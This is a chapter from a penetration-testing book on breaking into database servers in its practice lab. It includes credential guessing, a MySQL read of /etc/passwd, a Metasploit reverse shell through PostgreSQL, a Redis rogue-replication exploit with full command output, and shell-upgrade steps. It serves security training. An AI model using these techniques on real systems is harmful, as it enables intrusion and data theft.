You are likely to encounter at least one instance of a database management system (DBMS) running on your client's internal network. A DBMS is the software that manages a database, and it allows other computer programs or users to interact with a database. There may be multiple hosts dedicated to this purpose, and there may be different types of databases for different elements of an organization's operations.

Often, databases on internal hosts will act as the backend data store for web applications and authentication. Often, they hold sensitive information, such as usernames, password hashes, payment details, blog posts, images, comments, and messages. Potentially, there can be millions of users or customers on such a system. Databases on an internal network will be connected to and queried by software, such as a web application or a virtual private network (VPN) server. As a general rule, they should not be directly accessible to members of the public.

In this chapter, we will give you a crash course in exploring and handling data in a database, which is integral to your understanding of certain attacks, such as Structured Query Language (SQL) injection, a type of injection attack that commonly affects web applications. We will cover some of the nuances of exploiting database systems in detail throughout this chapter.

Types of Databases

A database can be any structured way of storing data. This means a well-organized filing cabinet in an office could be considered a database, yet the term is usually reserved for electronically stored data. To begin, we will cover some essential terminology before moving on to database hacking activities.

Structured Query Language

SQL, pronounced “sequel,” is a commonly used language for querying and manipulating data within a relational database. It can be used to create or define data structures within a database, manage permissions of database users, delete and insert records, and even define and carry out functions on data.

SQL is an American National Standards Institute (ANSI) and International Standard for Organization (ISO) standard. SQL was introduced in the late 1980s and rose to popularity. SQL is still very much in use today by almost any relational database you're likely to come across, although you will see different variations among implementations.

SQL is not the only language when it comes to relational databases, but it is by far the most common. It is highly recommended that you learn the basics of SQL, as this will assist you in the upcoming examples, and it is an absolute requirement for modern hacking activities due to its prevalence in the data storage world.

We will provide a basic SQL primer here. Nonetheless, practice does make perfect, and we recommend that you experiment with databases beyond the examples provided in this book. Setting up your own databases, populating them with records, and querying them from the command line using SQL will prove to be an invaluable experience if you're not already familiar with doing such activities. The primer we provide can be greatly expanded upon, and we suggest that you get comfortable with searching data in databases as much as possible. As a hacker, you will confront some limited access to a database or the ability to inject into a backend database of some kind. Knowing how to navigate such systems will provide you with many fruitful results throughout your career.

When performing a penetration test for a client, you should be on the lookout for places where you can inject your own SQL statements to cause a DBMS to act outside of its designed parameters. This type of attack, SQL injection, is well-known and regularly used to cause databases to spill out their data to unauthorized users. It is usually carried out via a vulnerable web application, which is querying information from a database. It is an attack that we will cover in Chapter 12, “Web Applications.” It is possible for a person with little to no experience in hacking to impact large organizations by running tools such as SQLmap, which automatically exploits SQL injection vulnerabilities. While you could get by using such tools as a penetration tester, understanding the basics of SQL and how to use it will vastly improve your ability to exploit such vulnerabilities.

User-Defined Functions

Many DBMSs offer predefined functions, much like programming language APIs, which allow the user to manipulate data in certain ways. Like a programming language, it is also possible to define your own functions for use with databases. These are known as user-defined functions (UDF). If you are able to obtain access to a database, you may be able to define your own functions that you can use to help you escalate privileges or escape to the underlying operating system. We will demonstrate how you might upload a shared object to a server and then use it to create a UDF that might allow you to escalate privileges under certain conditions.

The Database Hacker's Toolbox

You will find that having various database command-line clients installed on your Kali Linux machine is necessary if you're going to be hacking databases. You could use some Graphical User Interface (GUI) clients too, such as SQL, and you may want to install a tool such as Microsoft SQL Management Studio if you target Microsoft databases. As a rule of thumb, you will want several database clients installed for the more common systems out there, such as PostgreSQL and MySQL. You could also use a multipurpose SQL tool, but these tools are not explored in this book. You should also make use of common hacking tools such as Nmap, Netcat, Searchsploit, and Metasploit.

You will also find it useful to set up your own databases to practice with and learn about the nuances of each DBMS. When working for a client, having a Virtual Machine (VM) ready with an installed DBMS that matches your client's is exceptionally handy, especially if you build complicated queries and are unsure as to why they are not working. It is much easier to debug errors in your database query locally than on a remote server to which you have gained limited access. If you're testing a production environment, where real data is at stake, you can also run any exploits on your own version of the database first to avoid costly mistakes! Always discuss with your client first any potential activity that you intend to perform that can impact their database before execution. Our book lab provides several preconfigured databases for you to hack on.

Common Database Exploitation

These are some common approaches or steps to take when faced with a database:

1. Find a way to access the database and the data it holds.
2. Enumerate the schema and learn the structure of the database.
3. Access the database and search for any useful information.
4. Review any permissions or security controls on the database.
5. Attempt to gain database administrator (DBA) rights if you do not already have them.
6. Attempt to access the underlying OS and its file system.
7. Attempt to exploit UDFs to run your own code.
8. Attempt to escape the database and attack the host OS; escalate privileges.

Attacking the host OS and escalating privileges should be familiar to you by now. You would use the same approach that you took after gaining access to the operating system through command injection or via other techniques shown thus far. With databases, however, there are some additional hurdles to conquer to gain access to the host—you effectively need to break out of the database and into its host operating system. This can often be done using UDFs and stored procedures. Stored procedures work in a similar way to UDFs, but they are potentially more useful since they can already modify data within a database and execute other functions, including those already built into the RDBMS and UDFs. They are usually invoked with a special SQL statement: CALL. You can frequently use UDFs to run code on the underlying OS, depending on the privileges that you obtain, and exploit stored procedures for possible privilege escalation routes inside the database.

Port Scanning a Database Server

Here is an extract from an advanced Nmap port scan of a vulnerable database VM running several database services:

PORT STATE SERVICE VERSION
3306/tcp open mysql MySQL 5.0.51a-24+lenny2
5433/tcp open postgresql PostgreSQL DB 9.1.2 - 9.1.3
6379/tcp open redis Redis key-value store
27017/tcp open mongodb MongoDB 2.0.2
28017/tcp open http MongoDB http console

You will not see this many different types of databases running on the same server often, although it is common for certain combinations to be run together. You may not have the opportunity to port scan a database server directly when working for a client due to firewalls and network segregation, yet there will often be at least one of them working away in the background. In those cases, you'll need to use other methods, rather than simply scanning a host, to obtain useful information about the software. We've already covered some of these methods (such as using a web proxy or gathering information via Open Source Intelligence (OSINT)), but we'll explore how to do this further via SQL injection in the next chapter. If you're tasked with scanning hosts on an internal network, then you'll almost certainly see database services of some type.

Even though you're within the target company's internal network, you may still come across firewalls or some form of network segmentation. Since databases are often used for tasks such as payroll, they typically are additionally hardened against internal access by malicious insiders. Any responsible company is going to take measures to protect the hosts containing databases—even from their own staff. You may find that database servers reside on their own virtual LAN (VLAN), for instance, or they are behind firewall layers that permit access to only a limited number of hosts and servers.

You will find that the accompanying book lab has both MySQL and PostgreSQL daemons running alongside other NoSQL services.

MySQL

MySQL (www.mysql.com) is a popular, open source RDBMS. It is owned by Oracle, and it is available in commercial and free versions. By default, a MySQL database running on a server will be listening on TCP port 3306 for incoming connections. Like a lot of software, it can leak its version information within the welcoming banner, and out-of-date versions are likely to contain known vulnerabilities. MySQL has its own root user account, which should not be confused with the root user on UNIX-like systems. MySQL instances used to be set up (by default) to allow access as the MySQL root user (sometimes without needing a password), which was a widespread problem. Compromising the root account would mean full access to the entire database. Checking to see whether this is possible is important and should always be performed. MySQL databases may permit certain users to read and write files to the host operating system using built-in functions, such as LOAD_FILE, and using queries such as SELECT * FROM <TableName> INTO DUMPFILE ‘ <FileName> '; where DUMPFILE is another function for writing to files. MySQL is widely used by online services, and it is one of the most common database software types that you will encounter.

3306/tcp open mysql syn-ack MySQL 5.0.51a-24+lenny2
| mysql-info:
| Protocol: 10
| Version: 5.0.51a-24+lenny2
| Thread ID: 38
| Capabilities flags: 43564
| Some Capabilities: Support41Auth, SupportsTransactions, Speaks41ProtocolNew, LongColumnFlag, SwitchToSSLAfterHandshake, ConnectWithDatabase, SupportsCompression
| Status: Autocommit
|_ Salt: @n({ToV>rGIw<deP=~(G

?
5.0.51a-24+lenny2'<tS%#5~,?[1|CuGCVi/I

ERROR 1045 (28000): Access denied for user 'root'@'192.168.56.1' (using password: NO)

Enter password:
ERROR 1045 (28000): Access denied for user 'root'@'192.168.56.1' (using password: YES)

Welcome to the MySQL monitor. Commands end with ; or g.
Your MySQL connection id is 47
Server version: 5.0.51a-24+lenny2 (Debian)
 
Copyright (c) 2000, 2019, Oracle and/or its affiliates. All rights reserved.
 
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
 
Type 'help;' or 'h' for help. Type 'c' to clear the current input statement.
 
mysql>

mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| merchant |
| mysql |
+--------------------+
3 rows in set (0.00 sec)

Database changed

mysql> show tables;
+---------------------------+
| Tables_in_mysql |
+---------------------------+
| columns_priv |
| db |
| event |
| func |
| general_log |
| help_category |
| help_keyword |
| help_relation |
| help_topic |
| host |
| ndb_binlog_index |
| plugin |
| proc |
| procs_priv |
| servers |
| slow_log |
| tables_priv |
| time_zone |
| time_zone_leap_second |
| time_zone_name |
| time_zone_transition |
| time_zone_transition_type |
| user |
+---------------------------+
23 rows in set (0.00 sec)

mysql> show tables;
+---------------------------------------+
| Tables_in_information_schema |
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| KEY_COLUMN_USAGE |
| PROFILING |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| STATISTICS |
| TABLES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
+---------------------------------------+
17 rows in set (0.00 sec)

mysql> select TABLE_NAME from TABLES;
+---------------------------------------+
| TABLE_NAME |
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| KEY_COLUMN_USAGE |
| PROFILING |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| STATISTICS |
| TABLES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
| connection |
| orders |
| payment |
| columns_priv |
| db |
| event |
| func |
| general_log |
| help_category |
| help_keyword |
| help_relation |
| help_topic |
| host |
| ndb_binlog_index |
| plugin |
| proc |
| procs_priv |
| servers |
| slow_log |
| tables_priv |
| time_zone |
| time_zone_leap_second |
| time_zone_name |
| time_zone_transition |
| time_zone_transition_type |
| user |
+---------------------------------------+
43 rows in set (0.00 sec)

mysql> show tables;
+--------------------+
| Tables_in_merchant |
+--------------------+
| connection |
| orders |
| payment |
+--------------------+
3 rows in set (0.00 sec)

mysql> describe connection;
+------------+--------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+------------+--------------+------+-----+---------+----------------+
| id | mediumint(9) | NO | PRI | NULL | auto_increment |
| type | varchar(30) | NO | | NULL | |
| connection | varchar(255) | NO | | NULL | |
| username | varchar(255) | NO | | NULL | |
| password | varchar(255) | NO | | NULL | |
+------------+--------------+------+-----+---------+----------------+
5 rows in set (0.00 sec)

SELECT * FROM connection;

mysql> select * from connection;
+----+-------+------------+----------+----------+
| id | type | connection | username | password |
+----+-------+------------+----------+----------+
| 1 | redis | 127.0.0.1 | none | redis |
+----+-------+------------+----------+----------+
1 row in set (0.00 sec)

 mysql> describe orders;
+-------------+--------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+-------------+--------------+------+-----+---------+----------------+
| id | mediumint(9) | NO | PRI | NULL | auto_increment |
| productcode | varchar(10) | NO | | NULL | |
+-------------+--------------+------+-----+---------+----------------+
2 rows in set (0.00 sec)

mysql> describe payment;
+------------+--------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+------------+--------------+------+-----+---------+----------------+
| id | mediumint(9) | NO | PRI | NULL | auto_increment |
| firstname | varchar(40) | NO | | NULL | |
| lastname | varchar(40) | NO | | NULL | |
| address | varchar(512) | NO | | NULL | |
| cardtype | varchar(40) | NO | | NULL | |
| cardnumber | varchar(20) | NO | | NULL | |
| expiry | varchar(4) | NO | | NULL | |
+------------+--------------+------+-----+---------+----------------+
7 rows in set (0.00 sec)

mysql> select User,Password from mysql.user;
+------------------+-------------------------------------------+
| User | Password |
+------------------+-------------------------------------------+
| root | *FE68E6FDAF9B3EA41002EF1E28BE4A6EAF3A1158 |
| root | *FE68E6FDAF9B3EA41002EF1E28BE4A6EAF3A1158 |
| root | *FE68E6FDAF9B3EA41002EF1E28BE4A6EAF3A1158 |
| debian-sys-maint | *02B9399FC6A06E4D09A609700C0B259750F352BA |
| root | *FE68E6FDAF9B3EA41002EF1E28BE4A6EAF3A1158 |
+------------------+-------------------------------------------+
5 rows in set (0.01 sec)

mysql> SELECT @@VERSION;
+-------------------+
| @@VERSION |
+-------------------+
| 5.0.51a-24+lenny2 |
+-------------------+
1 row in set (0.01 sec)

+--------+------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+--------+------+------+-----+---------+-------+
| passwd | text | YES | | NULL | |
+--------+------+------+-----+---------+-------+
1 row in set (0.00 sec)

INSERT INTO merchant.passwd VALUES (load_file('/etc/passwd'));

PostgreSQL

PostgreSQL is an open source RDBMS, typically running on TCP ports 5432 or 5433. It is also used by Metasploit. In fact, you may have already been using PostgreSQL without realizing it. If that is the case, you may see it running on your Kali Linux VM. PostgreSQL is similar to MySQL but different enough to be frustrating when you're not used to it. PostgreSQL also allows users to read and write files to the host operating system, a UDF must be used to carry out this task.

PostgreSQL does not have a root user account or any defaults—its typical equivalent is the psql or postgres user. This may be using a bad default password such as psql or postgres! As there are no default accounts supplied in PostgreSQL, many people initially configure such simple examples with the intention of changing it later in the install process and simply forget about it. It's so commonly done that Metasploit even has a module for exploiting connections configured in this way.

Our earlier port scan results showed the following information regarding PostgreSQL:

5433/tcp open postgresql PostgreSQL DB 9.1.2 - 9.1.3

You can connect to this port with Netcat to perform a banner grab, and, as with MySQL, you can try to use the PostgreSQL client Psql (installed with apt install postgresql-client-common). Once installed, you can connect to a PostgreSQL service using the following command:

psql -h <TargetIP> -p <Port> -U <UserName>

We've already given you two potential usernames and passwords that you can try in order to access this service. You could also attempt to use a brute-force tool like Hydra against this service, as account lockouts are typically set manually by users on PostgreSQL and it's likely that none has been set. Assuming that you correctly guess the password to one or more accounts, you'll be greeted with a prompt similar to the following:

Password for user postgres:
psql (11.3 (Debian 11.3-1), server 9.1.2)
Type "help" for help.
 
postgres=#

PostgreSQL databases are often misconfigured and left with insecure usernames and passwords. We want to highlight this particular mistake in our vulnerable instance. Hacker House has come across this in the real world on several occasions. We have also found PostgreSQL credentials in configuration files that were inadvertently left exposed.

Although PostgreSQL uses SQL for queries, the client has its own set of commands that are far from intuitive. Whereas the MySQL client uses command mnemonics like use and show tables, Psql uses combinations of backslashes and single letters to issue commands. These commands can be listed with the ? help command. We will show you a few example common commands now. l will list the databases available to you.

postgres=# l
 List of databases
 Name | Owner | Encoding | Collate | Ctype | Access privileges
-----------+----------+-----------+---------+-------+-----------------------
 merchant | postgres | SQL_ASCII | C | C |
 postgres | postgres | SQL_ASCII | C | C |
 template0 | postgres | SQL_ASCII | C | C | =c/postgres +
 | | | | | postgres=CTc/postgres
 template1 | postgres | SQL_ASCII | C | C | =c/postgres +
 | | | | | postgres=CTc/postgres
(4 rows)

The c command will connect you to a supplied database. For example, c merchant will connect to the merchant database and present the following information. Notice that the prompt changes to represent the current database.

postgres=# c merchant
psql (11.3 (Debian 11.3-1), server 9.1.2)
You are now connected to database "merchant" as user "postgres".
merchant=#

Once you are connected to a database, you can use d to list or describe the tables (or relations) in that database.

merchant=# d
 List of relations
 Schema | Name | Type | Owner
--------+----------------+----------+----------
 public | payment | table | postgres
 public | payment_id_seq | sequence | postgres
(2 rows)

Now you can use d payment to describe the payment table. Remember that describing a table defines its schema rather than displaying the data. This merchant database and payment table are not the same as those that you saw earlier in the MySQL database. This is a separate database running on a different software instance. To query the database and output the contents of this payment table, you can use a SQL statement just as before.

merchant=# select * from payment;
 id | firstname | lastname | address | cardtype | cardnumber | expiry
----+-----------+----------+--------------------------+----------+------------------+--------
 1 | Tyler | Durden | 1337 Paper St. | VISA | 4104768744176826 | 0119
 2 | Skeletor | Heman | Evil Villain | VISA | 4501356680452382 | 0119
 3 | Bruce | Wayne | Batcave, HQ, Gotham City | VISA | 4652356038230743 | 0119
 4 | Ted | Bill | Excellent Adventure | VISA | 4638815478682704 | 0119
 5 | Dade | Murphy | ZeroCool Labs | VISA | 4415830173618407 | 0119
(5 rows)

Here we see more personally identifiable information. Once again, this should be bought to the immediate attention of any client for whom you are working. You'll see just from experimenting with PostgreSQL client commands that it behaves quite differently than MySQL. Now you should attempt to use some SQL statements as you did with MySQL and become familiar with using the PostgreSQL client. Next, you will run a Metasploit exploit to break out of this database and into the host operating system through the use of a UDF.

Escaping Database Software

You have been able to gain access to a database, and you have explored its schema and contents. Your next step is to see whether there is a way to break out of the limited system context of the database, into the underlying operating system, and gain access to the file system at a minimum. One way to do this would be to search for and exploit known vulnerabilities. Try using Metasploit to find exploits that will work against the version of PostgreSQL running on the book lab.

A common exploit to use against PostgreSQL post-authentication is the postgres_payload exploit. This module can perform exploit CVE-2007-3280, which describes a vulnerability that allows libc (a programming library for system programmers using C) to be used in UDFs. The exploit makes use of writing files into the /tmp location when creating UDFs from shared object files that map to libc. As you've seen, shared objects can be useful, and in this case, they will allow you to access a shell as the user running the database software. This will typically be a user such as postgres or nobody. This is the Linux user that frequently (by default) is used to launch the PostgreSQL service.

You will need to set the RHOSTS and RPORT options for this module. Remember to set a payload that you can select using show payloads. You will use a reverse payload in this exercise. Be sure to set the LHOST option to your Kali Linux VM's IP address, and remember to check the module’s information and options before proceeding. To better understand this exploit set VERBOSE to true for a detailed explanation of the attack including the SQL statements used as it is executed. You will see that the PASSWORD and USERNAME options are already set for this module and that they're also correct. This shows that these particular default credentials are commonly left unchanged by system or database administrators. Here's the result of successfully running the module:

msf5 exploit(linux/postgres/postgres_payload)> exploit
 
[*] Started reverse TCP handler on 192.168.56.102:4444
[*] 192.168.56.104:5433 - PostgreSQL 9.1.2 on i686-pc-linux-gnu, compiled by gcc-4.6.real (Debian 4.6.2-5) 4.6.2, 32-bit
[*] Uploaded as /tmp/eyfFxqsw.so, should be cleaned up automatically
[*] Sending stage (36 bytes) to 192.168.56.104
[*] Command shell session 2 opened (192.168.56.102:4444 -> 192.168.56.104:46580) at 2019-07-23 16:51:45 +0100
 
id
uid=106(postgres) gid=110(postgres) groups=110(postgres),109(ssl-cert)

Successfully exploiting the vulnerability with Metasploit should result in a remote shell on the affected PostgreSQL server. Use the id command to see which user you are on the target host. In our example, you will see that you are the postgres user. Escalating privileges to root will be your next step. Remember to spawn an interactive session for job control and a pseudo teletype interface python -c 'import pty;pty.spawn("/bin/sh")' and source your profile . /etc/profile in preparation for attempting any privilege escalation attacks. We will demonstrate one using this shell as our starting point later in this chapter.

Oracle Database

Oracle offers a range of database products (MySQL is just one of them) including its simply named Database (often referred to as “Oracle”), a propriety RDBMS. You may come across older and newer versions of this database, all of which are infamous for their default username and password combinations, often left unchanged after setup. A quick search online should yield a list of such username and password combinations for you. Table 11.1 shows an excerpt of default users and passwords taken from the Oracle9i Database Online Documentation, hosted at docs.oracle.com.

Many of these users would be deactivated automatically, but not the SYS, SYSTEM, SCOTT, and DBSNMP users. It was left up to the DBA to change the passwords for these accounts, which meant that many were left as is. Hacker House has not encountered an Oracle Database that we weren't able to access using one of the many default usernames and passwords!

Oracle runs a TNS listener service that is used to interact with the database on TCP port 1521. It will look similar to this in your port-scan results, which identifies itself as a legacy Oracle 9i instance:

1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0

You can interact with this TNS listener service using a tool called tnscmd10g. For older versions, you may need to use a Perl script: tnscmd.pl. tnscmd10g and tnscmd.pl are bundled with Kali Linux and can be used to send commands to a TNS listener service that help perform enumeration of the database configuration. Oracle databases often require enumeration of the System ID (SID)—a unique identifier given to each database on a host—to establish a connection, though some default SIDs like TSH1 are commonly in use.

A security control that many Oracle DBAs undertake is renaming and removing the default SIDs to prevent an attacker attempting to connect, mistakenly believing that this will prevent attacks. You will need to use Oracle SID enumeration tools found in Metasploit, for instance, in cases where this happens, such as when you do not find a valid SID. In such cases, you will not be able to attempt to authenticate to the database software. A now-defunct Java scanning tool called oscanner can automate the process of testing for default password combinations to gain access, providing that you have a valid or default SID. You can find this tool in the Kali Linux repository, or you can make use of a number of Metasploit alternative modules that achieve the same task.

An example of running oscanner to enumerate the default accounts SCOTT, SYS, SYSTEM, and DBSNMP—all privileged on the database—is shown here:

root # ./oscanner.sh -s 192.168.56.22 -P 1521
Oracle Scanner 1.0.6 by [email protected]
--------------------------------------------------
[-] Checking host 192.168.56.22
[-] Checking sid (TSH1) for common passwords
[-] Account CTXSYS/CTXSYS is locked
[-] Account DBSNMP/DBSNMP found
[-] Enumerating system accounts for SID (TSH1)
[-] Successfully enumerated 29 accounts
[-] Account HR/HR is locked
[-] Account MDSYS/MDSYS is locked
[-] Account OE/OE is locked
[-] Account OLAPSYS/MANAGER is locked
[-] Account ORDPLUGINS/ORDPLUGINS is locked
[-] Account ORDSYS/ORDSYS is locked
[-] Account OUTLN/OUTLN is locked
[-] Account PM/PM is locked
[-] Account QS/QS is locked
[-] Account QS_ADM/QS_ADM is locked
[-] Account QS_CB/QS_CB is locked
[-] Account QS_CBADM/QS_CBADM is locked
[-] Account QS_CS/QS_CS is locked
[-] Account QS_ES/QS_ES is locked
[-] Account QS_OS/QS_OS is locked
[-] Account QS_WS/QS_WS is locked
[-] Account SCOTT/TIGER found
[-] Account SH/SH is locked
[-] Account WKSYS/WKSYS is locked
[-] Checking user supplied passwords against sid (TSH1)
[-] Checking user supplied dictionary
[-] Account SYS/SYS found
[-] Account SYSTEM/SYSTEM found
[-] Account WMSYS/WMSYS is locked
[-] Account XDB/XDB is locked
[-] Account WKPROXY/WKPROXY is locked
[-] Account ODM/ODM is locked
[-] Account ODM_MTR/ODM_MTR is locked

Once you have identified the TNS listener, the first step to take with Oracle databases is to identify a valid SID using tnscmd's or Metasploit's modules. Once the SID is identified, you can begin testing for common accounts. After one of the numerous default accounts has been obtained, you are able to proceed with exploitation of the database, just as you would with MySQL. You will need a valid Oracle client (such as Oracle instant client, a non-free but widely available software tool for connecting to Oracle services). Enumerate the database schema, review the contents of the database, attempt to escalate privileges, and then escape to the host OS. Escaping to the host OS is possible under Oracle installations when Java capabilities are enabled, and they work much like any UDF function exploit—that is, requiring some development code to be placed on the server to enable a shell.

Oracle is also notoriously vulnerable to database privilege escalation where you can inject P/SQL into functions within the default stored procedures to turn non-DBA accounts into privileged DBA accounts. We could write an entire book on Oracle insecurities (and David Litchfield has done exactly that) due to the varied and numerous ways in which these exploits can be performed. Hacker House's experience is that we have never failed in compromising an Oracle installation due to the prevalence of default accounts and the large number of privilege escalation attacks that exist in the stored procedures of the software by default.

We have shown here the basic steps needed once a TNS listener is identified. However, it is well worth your time to install a copy of Oracle 9i or Oracle 10g and try some of the more advanced database privilege escalation exploits that are possible through the abuse of internally stored functions. You will find hundreds of examples in the Exploit Database (www.exploit-db.com) for earlier versions of Oracle, and David Litchfield is credited with the discovery of the vast majority of these issues. If the Oracle installation has a Java VM installed, then it is often possible to upload a user-defined function written in Java to gain command execution on the host OS.

MongoDB

MongoDB (www.mongodb.com) is designed to take advantage of modern technology for speed-through memory access of objects, and it is often configured to use no password. Malicious Internet attackers employ scripts to scan for such password-less databases that are left exposed with a public IP address, make their own copy of the database, and then delete the original data. Then they'll leave a single table with some information on how to pay a ransom (using Bitcoin or some other cybercurrency) to get the data back. Unfortunately, this happens to a lot of new or startup companies that are just beginning their Internet journey—perhaps growing quickly and not always keeping their systems as secure as they should. There are often nice web interfaces and APIs for interacting with these NoSQL databases; for example, our earlier Nmap scan identified a MongoDB http console running on TCP port 28017. Browsing to this in a web browser will give you additional information on the MongoDB instance and the information it contains. The use of MongoDB is fairly straightforward. Since it is often configured without a password, it is an attractive target for data thieves searching for an easy payout.

Redis

Redis is another NoSQL database that makes use of modern advances in computer memory to achieve high-speed database access through the use of key storage and object values. Redis databases are particularly good targets for brute-force attacks because of their improved high-speed access. Even when password-protected, Redis databases allow for thousands of password attempts per second. Hydra has a module for this purpose that you should try against the book lab, or your own Redis install on a different VM, to see how quickly you can obtain a password from a Redis instance.

Redis is another example of a NoSQL database that uses its host's memory, rather than a file system for storing data. Brute-force attacks can be used against the AUTH directive if it was even set up. Without this in place, there is simply no password. You may find that your client is using a Redis database on an internal network without any authentication.

A Redis database will probably be accessed by a web application that would need to “know” the password, but the password certainly does not need to be used or remembered by employees. Redis is commonly used to store user session information for web applications. That same web application might use another MySQL database for storing things such as blog posts, photos, and user comments, but the use of a fast NoSQL database like Redis will generally improve overall performance when used for something that is quickly required for use, such as tracking user sessions. Session tokens will need to be updated frequently every time a user logs in or out or a session reaches its expiration, for instance. Redis is well suited to that particular task.

Redis has its own command-line client called redis-cli, which you should explore and use when you come across a Redis instance.

Redis is also susceptible to a post-authentication UDF type issue in versions between 4.x and 5.0.5, an attacker who gains access to Redis can leverage the database replication features, creating a rogue Redis service, and requesting the compromised database connect to their malicious Redis service to load code. Upon connection the malicious Redis instance instructs the connecting instance to load a shared object .so containing the attackers code. The attack requires that the Redis database can connect to the attacker’s malicious server on a TCP port to begin the replication process and uses the MODULE LOAD features of Redis to run the attacker’s supplied code. A number of exploits exist that can take advantage of this vulnerability including modules found within Metasploit. As exploits for this issue require building a shared library, they typically must be run from the same target architecture as your target, our book lab is vulnerable to this issue and runs on a 32-bit or x86 architecture. We will use an exploit from Github (github.com/vulhub/redis-rogue-getshell ) to exploit this issue as the Metasploit module is ineffective against 32-bit systems, you will also need to run this attack from a 32-bit Linux VM when targeting our book lab which may require you to download a 32-bit Kali ISO if you do not have one already installed. First download the exploit using wget from www.hackerhousebook.com/files/redis-rogue-getshell.tgz. You will then need to decompress the archive and compile the shared object for use in the attack which can be done with the following commands.

tar -xvzf redis-rogue-getshell.tgz

cd redis-rogue-getshell

make -C RedisModulesSDK/

You should now have a file “ exp.so” located in the RedisModulesSDK directory which will be loaded by Redis using the MODULE LOAD command during database replication. The database replication process is performed by a Python script redis-master.py. To run the exploit, you must supply a number of arguments of the format shown here.

python3 redis-master.py -r <Target IP> -L <VM IP> -f RedisModulesSDK/exp.so -a <AUTH password> -c <CMD>

When this attack succeeds, you should see output similar to the following, note the highlighted commands executed on the target system.

>> send data: b'*2
$4
AUTH
$5
redis
'
>> receive data: b'+OK
'
>> send data:
b'*3
$7
SLAVEOF
$14
192.168.11.137
$5
21000
'
>> receive data: b'+OK
'
>> send data:
b'*4
$6
CONFIG
$3
SET
$10
dbfilename
$6
exp.so
'
>> receive data: b'+OK
'
>> receive data: b'*1
$4
PING
'
>> receive data:
b'*3
$8
REPLCONF
$14
listening-port
$4
6379
'
>> receive data:
b'*5
$8
REPLCONF
$4
capa
$3
eof
$4
capa
$6
psync2
'
>> receive data:
b'*3
$5
PSYNC
$40
0fc8cac7421420dd698fa69f27296cce640e1e91
$1
1
'
>> send data: b'*3
$6
MODULE
$4
LOAD
$8
./exp.so
'
>> receive data: b'+OK
'
>> send data: b'*3
$7
SLAVEOF
$2
NO
$3
ONE
'
>> receive data: b'+OK
'
>> send data:
b'*4
$6
CONFIG
$3
SET
$10
dbfilename
$8
dump.rdb
'
>> receive data: b'+OK
'
>> send data: b'*2
$11
system.exec
$11
id;uname -a
'
>> receive data: b'$125
uid=116(redis) gid=123(redis)
groups=123(redis)
Linux hacklab01 3.16.0-4-586 #1 Debian 3.16.36-1
(2016-07-04) i686 GNU/Linux

'
uid=116(redis) gid=123(redis) groups=123(redis)
Linux hacklab01 3.16.0-4-586 #1 Debian 3.16.36-1 (2016-07-04) i686 GNU/Linux
 
>> send data: b'*3
$6
MODULE
$6
UNLOAD
$6
system
'
>> receive data: b'+OK
' 

Privilege Escalation via Databases

Let's look at an example of how you can get root on a machine where you have been able to break out of a database, or by way of command injection, and have gained some interactive shell access. For this demonstration, we will continue from where we left off, having gained access as the postgres user by exploiting CVE-2007-3280 and using a UDF. We will be manually exploiting the same type of issue but leveraging a misconfiguration to gain root access in a second software database.

We can look at the kernel version at this point using uname -a, or we can do a search for local files, using scripts such as linux-privesc-check. For this exercise, however, we'll make use of another RDBMS running on this host—MySQL.

You should have a prompt that looks like the following if you've just run the postgres_payload exploit for CVE-2007-3280 (shown earlier) and you've upgraded your shell to one with job control and a pseudo teletype (PTY) interface. You also should have sourced the profile to configure your paths.

postgres@dbserver01:/var/lib/postgresql/9.1/main$

Whenever you manage to get a shell on a target Linux host, a useful yet simple command that you can run is ps -aef. According to its man page, ps will “report a snapshot of the current processes.” This means you can see what processes are running on a host where you've managed to obtain a foothold. If any of these processes are running as the root user and if there is a corresponding service that you are able to access, then those services are worthy of further investigation for attacks.

The following is an extract of the output provided by ps when run against our vulnerable database server. Notice how several of the different database processes are being run by corresponding Linux users. Look at the top item in the list. This process was started by the mongodb user, has a process ID (PID) of 837, and was launched by the command / usr/bin/mongod --config /etc/mo. You can be pretty sure that this is a MongoDB daemon, and there's nothing obviously wrong based on what we see here.

UID	PID	PPID	C	STIME	 TTY	    TIME	CMD
mongodb	837	   1    0	15:43	 ?	00:00:06	/usr/bin/mongod --config /etc/mo
www-data	925	 922	0	15:43	 ?      00:00:00	/usr/sbin/apache2 -k start
root     1038	   1    0       15:43    ?      00:00:00        /usr/sbin/cron
redis    1072        1    0       15:43    ?      00:00:01        /usr/bin/redis-server /etc/redis
postgres 1101        1    0       15:43    ?      00:00:02        /usr/lib/postgresql/9.1/bin/post
root     1109        1    0       15:43    ?      00:00:00        /bin/sh /usr/bin/mysqld_safe
root     1151     1109    0       15:43    ?      00:00:00        /usr/sbin/mysqld --basedir=/usr
root     1152     1109    0       15:43    ?      00:00:00        logger -p daemon.err -t mysqld_s
postgres 1173     1101    0       15:43    ?      00:00:00        postgres: writer process
postgres 1174     1101    0       15:43    ?      00:00:00        postgres: wal writer process

Notice, however, that there are three processes running as the root user, and the command contains mysqld, which is the MySQL daemon. This means that the MySQL instance on this host is running as the Linux root user. This is a potentially serious issue, as an attacker who takes control of the MySQL process could escalate their privileges to root. Where the PostgreSQL daemon is running as the postgres user and gave us a shell as this same user when exploited, if we can find a vulnerability in the MySQL service, we should be able to get a root shell. This means that when the daemon was started, the user started it as the root user rather than creating a separate mysql user, for example, and then ran the process under that user instead.

